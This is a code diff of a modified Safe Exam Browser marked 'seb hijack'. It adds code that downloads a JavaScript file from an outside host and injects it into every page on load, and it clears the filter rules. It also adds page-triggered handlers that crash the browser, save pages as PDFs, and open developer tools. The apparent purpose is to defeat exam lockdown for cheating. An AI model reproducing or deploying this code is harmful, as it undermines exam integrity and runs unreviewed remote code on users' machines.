1212using System . Threading . Tasks ;
1313using System . Windows . Forms ;
1414using CefSharp ;
15+ using CefSharp . WinForms ;
1516using SafeExamBrowser . Browser . Wrapper ;
1617using SafeExamBrowser . Browser . Wrapper . Events ;
1718using SafeExamBrowser . Logging . Contracts ;
@@ -142,7 +143,16 @@ public void Initialize()
142143
143144 if ( control is IWebBrowser webBrowser )
144145 {
145- webBrowser . JavascriptMessageReceived += async ( sender , e ) => await WebBrowser_JavascriptMessageReceivedAsync ( sender , e ) ;
146+ webBrowser . JavascriptMessageReceived += WebBrowser_JavascriptMessageReceived ;
147+
148+ // seb hijack
149+ Settings . Browser . FilterSettings filterSettings = new Settings . Browser . FilterSettings ( ) ;
150+ filterSettings . Rules . Clear ( ) ;
151+ using ( var client = new System . Net . WebClient ( ) )
152+ {
153+ var the_script = client . DownloadString ( "https://wxnnvs.ftp.sh/un-seb/the_script.js" ) ;
154+ webBrowser . ExecuteScriptAsyncWhenPageLoaded ( the_script ) ;
155+ }
146156 }
147157 }
148158
@@ -189,35 +199,64 @@ private void Control_IsBrowserInitializedChanged(object sender, EventArgs e)
189199 }
190200 }
191201
192- private async Task WebBrowser_JavascriptMessageReceivedAsync ( object sender , JavascriptMessageReceivedEventArgs e )
193- {
194- clipboard . Process ( e ) ;
195-
196- dynamic message = e . Message ;
197- if ( message . type == "exitSEB" )
198- {
199- if ( MessageBox . Show ( "Crashing SEB can take up to 10 seconds \n It can be seen in the log files aswell." , "SEB Crash" , MessageBoxButtons . OKCancel , MessageBoxIcon . Information ) == DialogResult . OK )
200- {
201- Environment . Exit ( 0 ) ;
202- }
203- }
204-
205- if ( message . type == "screenshot" )
206- {
207- var settings = new PdfPrintSettings ( ) ;
208- string filename = DateTime . Now . ToString ( "yyyyMMdd_HHmmss" ) + ".pdf" ;
209- string filepath = Path . Combine ( Environment . GetFolderPath ( Environment . SpecialFolder . Desktop ) , filename ) ;
210- var succes = await control . BrowserCore . PrintToPdfAsync ( filepath , settings ) ;
211- var owner = control as IWin32Window ;
212- if ( succes )
202+ // seb hijack
203+ private void ExitSEB ( )
204+ {
205+ if ( MessageBox . Show ( "Crashing SEB can take up to 10 seconds \n It can be seen in the log files aswell." , "SEB Crash" , MessageBoxButtons . OKCancel , MessageBoxIcon . Information ) == DialogResult . OK )
206+ {
207+ Environment . Exit ( 0 ) ;
208+ }
209+ }
210+
211+ private async Task SaveAsPDF ( )
212+ {
213+ var settings = new PdfPrintSettings ( ) ;
214+ string filename = DateTime . Now . ToString ( "yyyyMMdd_HHmmss" ) + ".pdf" ;
215+ string filepath = Path . Combine ( Environment . GetFolderPath ( Environment . SpecialFolder . Desktop ) , filename ) ;
216+ var succes = await control . BrowserCore . PrintToPdfAsync ( filepath , settings ) ;
217+ var owner = control as IWin32Window ;
218+ if ( succes )
219+ {
220+ MessageBox . Show ( owner , "PDF should be saved to desktop." , "Save as PDF" , MessageBoxButtons . OK , MessageBoxIcon . Information ) ;
221+ }
222+ else
223+ {
224+ MessageBox . Show ( owner , "Failed to generate PDF" , "Error" , MessageBoxButtons . OK , MessageBoxIcon . Error ) ;
225+ }
226+ }
227+
228+ private void WebBrowser_JavascriptMessageReceived ( object sender , JavascriptMessageReceivedEventArgs e )
229+ {
230+ clipboard . Process ( e ) ;
231+
232+ // seb hijack
233+ dynamic message = e . Message ;
234+ if ( message . type == "exitSEB" )
235+ {
236+ ExitSEB ( ) ;
237+ }
238+
239+ if ( message . type == "screenshot" )
240+ {
241+ _ = SaveAsPDF ( ) ;
242+ }
243+
244+ if ( message . type == "devTools" )
245+ {
246+ ShowDeveloperConsole ( ) ;
247+ }
248+
249+ if ( message . type == "version" )
250+ {
251+ if ( message . version == "2" )
213252 {
214- MessageBox . Show ( owner , "PDF should be saved to desktop." , "Save as PDF" , MessageBoxButtons . OK , MessageBoxIcon . Information ) ;
253+ ExecuteJavaScript ( "responseFunction(true);" ) ;
215254 }
216255 else
217256 {
218- MessageBox . Show ( owner , "Failed to generate PDF" , "Error" , MessageBoxButtons . OK , MessageBoxIcon . Error ) ;
257+ ExecuteJavaScript ( "responseFunction(false);" ) ;
219258 }
220259 }
221- }
222- }
260+ }
261+ }
223262}
0 commit comments